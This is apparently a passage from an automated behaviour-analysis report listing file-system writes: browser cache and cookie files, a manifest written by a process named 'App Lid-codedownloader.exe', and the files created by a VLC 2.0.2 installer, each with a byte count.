C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\lightbox.js.pagespeed.jm.87aPq22TFLOpRo_q8qwK[1].js (2033 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78xf1ed3cd0cae7a3524376e6f9369c7ab8.png.pagespeed.ic.dwpMwIBWppm4Nfr3l5SV[1].png (12088 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\78x78x13ca8e322e15bc394d66a37bec12e3b4.png.pagespeed.ic.k7KWs3vEenybMdMGDswR[1].png (67337 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\UXGGC045.txt (89 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\A.style.css.pagespeed.cf.aA84XopnLuCplsgxWdKn[1].css (172 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\303x148xb43daeae6aca6ab7d6a00084494d81db.png.pagespeed.ic.nnrPCPy1PfNzw7bPygU_[1].png (11116 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\78x78x07fce0a4ff78cc7e6376e227f046ce06.png.pagespeed.ic.hz09jctHczLz0PvLD0tH[1].png (58683 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3.5stars.jpg.pagespeed.ce.u3YEB6ujvUgGS-bedVMJ[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78x00c73f6d4e4eb25289dddb86e2d1e319.jpg.pagespeed.ic.d0FQ8ZLWOVQUxEW7SL6j[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\4.5stars.jpg.pagespeed.ce.FnZJEV2PTVMznvHxrh21[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\52d5414e7372639389ab7e9e4d479aee.png.pagespeed.ce.0W_R5npG-ygjyX2J47_Z[1].png (38663 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78xac5196fbf245580eee113296dff14d0b.png.pagespeed.ic.A5hcD5ZxIijQD8QWvY2v[1].png (16949 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\loading[1].gif (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\logo_illust.jpg.pagespeed.ce.z1_aG_Fc9E2Du85_fGKz[1].jpg (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\scripts.js.pagespeed.jm.I_RPxsiRE08xV8BTmz_B[1].js (862 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\7e5817bad781bbc2d2e43b350ccb53db.png.pagespeed.ce.qpuXYWo7ZcBLadujlS_v[1].png (7900 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\bg_main.jpg.pagespeed.ce.JxoBZ0-OVe7Q4uq_LJMh[1].jpg (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\78x78xd586df222f5069b6c396373d67d0163b.png.pagespeed.ic.ydkvzRjn2dlJvFiaNZe1[1].png (65531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78xda84c206c2019448521379d2ff837774.png.pagespeed.ic.zNOyV3YZBa4c4pZHmvGx[1].png (9277 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\btn_bg.jpg.pagespeed.ce.aIEJinchAzMgR9IBpV67[1].jpg (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\78x78x4f263f4be4c4396c9078d1874c05b928.png.pagespeed.ic.bmYMZwCv4nYrtahb4sPP[1].png (8914 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\config[2].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\78x78xcc3148e57a2928cd1ada1bbea553c3c2.png.pagespeed.ic.bh30vH_VMi2L357W8L7o[1].png (584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\303x148xc16ddcefe8d9f0d1f850dfcd8f36687d.jpg.pagespeed.ic.lwAL2oq89B2IQKWYablA[1].jpg (1118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78xe94782c9200f8de809a50327879df1cc.png.pagespeed.ic.Mr4gF218xk_cqItCCN1L[1].png (60998 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\78x78xb85261679e262228a562f693b3e6ef6f.png.pagespeed.ic.4bcRSEMVhrePWbmTPv28[1].png (64899 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\jquery.smooth-scroll.min.js.pagespeed.jm.WowFBOF837MdT8jW9Obi[1].js (404 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\78x78x567f43cb72fe3ac6419369953394cadd.png.pagespeed.ic.uZppn9OyDiD3h_rBjWty[1].png (70586 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78xbbbde9554589bda63791709a6785e0a3.png.pagespeed.ic.qJ1hwUZH7Wgh_YVz1ST6[1].png (11990 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\css[1].css (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78xb147a5a09b49b133d347bd975a4c5616.png.pagespeed.ic.QXzy6NzFeIJWnFBIEjZR[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\4.0stars.jpg.pagespeed.ce.7EhkSCmV4fiZvLox5Lxa[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78x7c9d412c730603d1d82b98a548a71bac.png.pagespeed.ic.0mNREhR0t6hPCWrBRAvl[1].png (17910 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78x0692c2494a7331a77c05954f79c5480a.png.pagespeed.ic.zAS1ZfjtEdazQ-1rNhQn[1].png (11444 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3.0stars.jpg.pagespeed.ce.NdTKoZKg7fpUU9HjqHGP[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78xa6ae526a0a22dcfc743a66d44a3e09e3.png.pagespeed.ic.T09n9J9zW9Kz7xtQ06O1[1].png (49435 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\5.0stars.jpg.pagespeed.ce.c5Mw3vRCV9Ep78xfmv43[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78x442a5f30204dd385d17de5848683274f.png.pagespeed.ic.WBPXYOEykW-iuqxTUu7j[1].png (27015 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\78x78x83a4cee7a59522b93ed0ae1fa73ce8f3.png.pagespeed.ic.fC57HngUEG5e6KKP2pds[1].png (6638 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\303x148x5b8f93845e4dd380fec57bc644ec49d1.jpg.pagespeed.ic.KJwkbv_hY_qT-vepcZiq[1].jpg (229 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\78x78xddb3b88cf98eb0220c9e6c252e376749.png.pagespeed.ic.HIjFfmSXODkOzvpOncCx[1].png (34160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\home[1].htm (7256 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78x36d7cd00f07003a67021237993257d08.png.pagespeed.ic.cWg2Rji-hSk9fEeSL6Ya[1].png (20039 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery.min[1].js (49456 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\MKJ818LW.txt (221 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\303xNx1f8ffa22b53dfc2f6b7f1850bb6b73e8.png.pagespeed.ic.tFX8jwo12PDh1bULrFCd[1].png (7106 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\78x78x7d4f668f3d1818d01b6b9684b669d0db.png.pagespeed.ic.gGkeGXUraEg5vr5zk3oz[1].png (7646 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78x5dbc29649669598ff43174b9ee730008.png.pagespeed.ic.MXGvk4tCfgQH5IuvWlvx[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\78x78xf4e4b853ddab3b763f0af17d513631bd.png.pagespeed.ic.qOS1_AxoxISP5vyxWYJQ[1].png (27410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\78x78xe54e8c720dffffa619c3b0eacec9381a.png.pagespeed.ic.ZQdyYxnfLUYUuPTrA-U2[1].png (3357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ace33f0a1eddf74bbe8d1bfac70deded.png.pagespeed.ce.jVbW8Iy_z54HerZlqj8z[1].png (22607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\78x78x58d196b3e886a838d021adc8c8848f1e.png.pagespeed.ic.1ZFBkb8zgu3cym51RTl5[1].png (2897 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\close[1].png (207 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\3YEwT2a1878zysq92S8_9w[1].eot (1831 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\78x78xa64a4b5c68c364d30083fbd0b0363585.png.pagespeed.ic.T0d2UyMfzUSQwDaDnzgL[1].png (38425 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\78x78x3d8bbea6bcae57d705c676f7050a7d51.png.pagespeed.ic.3_Ep6KF6j8iA4GuiHb5k[1].png (9812 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\A.lightbox.css.pagespeed.cf.ygMGUJc3UJo8nRkTykPW[1].css (73 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\78x78x23428f8768d928d2bd45dd3b0c4d0057.png.pagespeed.ic.7nPUyI6bY-QhYePRE8Xn[1].png (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\logo.jpg.pagespeed.ce.Khx_XwXN03oCbtjhN-zG[1].jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery-ui.min[1].js (135334 bytes)

The process App Lid-codedownloader.exe:700 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\manifest[2].xml (25 bytes)

The process vlc-2.0.2-win32.exe:580 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_gather_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtheora_plugin.dll (13368 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_arrays.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.log (326774 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_02.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\fmc.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sr\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\bbc_co_uk.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_smem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\hotkeys.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_rgb_sse2_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libntservice_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white.png (70 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_inhibit.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\common.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\view.html (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\speaker-32.png (942 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_pool.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libps_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es_out.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\AUTHORS.txt (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\mpora.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_events.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list_player.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\01_googleimage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libskins2_plugin.dll (68799 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_fifo.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ts_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\play_pause.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcvdsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\httprequests.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\axvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\is\LC_MESSAGES\vlc.mo (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ps\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\vlc.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo (28288 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfixed32_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_yuy2_sse2_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\3dnow\libmemcpy3dn_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\be\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ka\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll (24832 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsdec_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pl\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\minus.png (109 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvc1_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sv\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\loop.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_main.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_down.png (108 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libvcd_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libmpeg_audio_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libzip_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_threads.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaes3_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libsdp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdts_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Back-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube.luac (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdshow_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_asf_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_services_discovery.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libvorbis_plugin.dll (49631 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo (461 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_streams.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gd\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_10.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_rgb_mmx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.dll.a (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metacafe.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\liblive555_plugin.dll (22552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\esc.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_07.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\main (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsimple_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ku\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libupnp_plugin.dll (10136 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_discoverer.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\reset.png (134 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblpcm_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\it\LC_MESSAGES\vlc.mo (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_probe.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdolby_surround_decoder_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibass_plugin.dll (58402 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xml.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_imem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawaud_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\telnet.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker_mute.png (328 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\freebox.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mouse.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_common.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\play.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_opengl.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\functions.js (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmono_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_autodel_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\france2.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_browse.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\empty.png (120 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_demux.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_structures.h (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player skinned.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmpgatofixed32_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libadummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\03_lastfm.luac (1 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libty_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery.jstree.js (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll (1552 bytes)
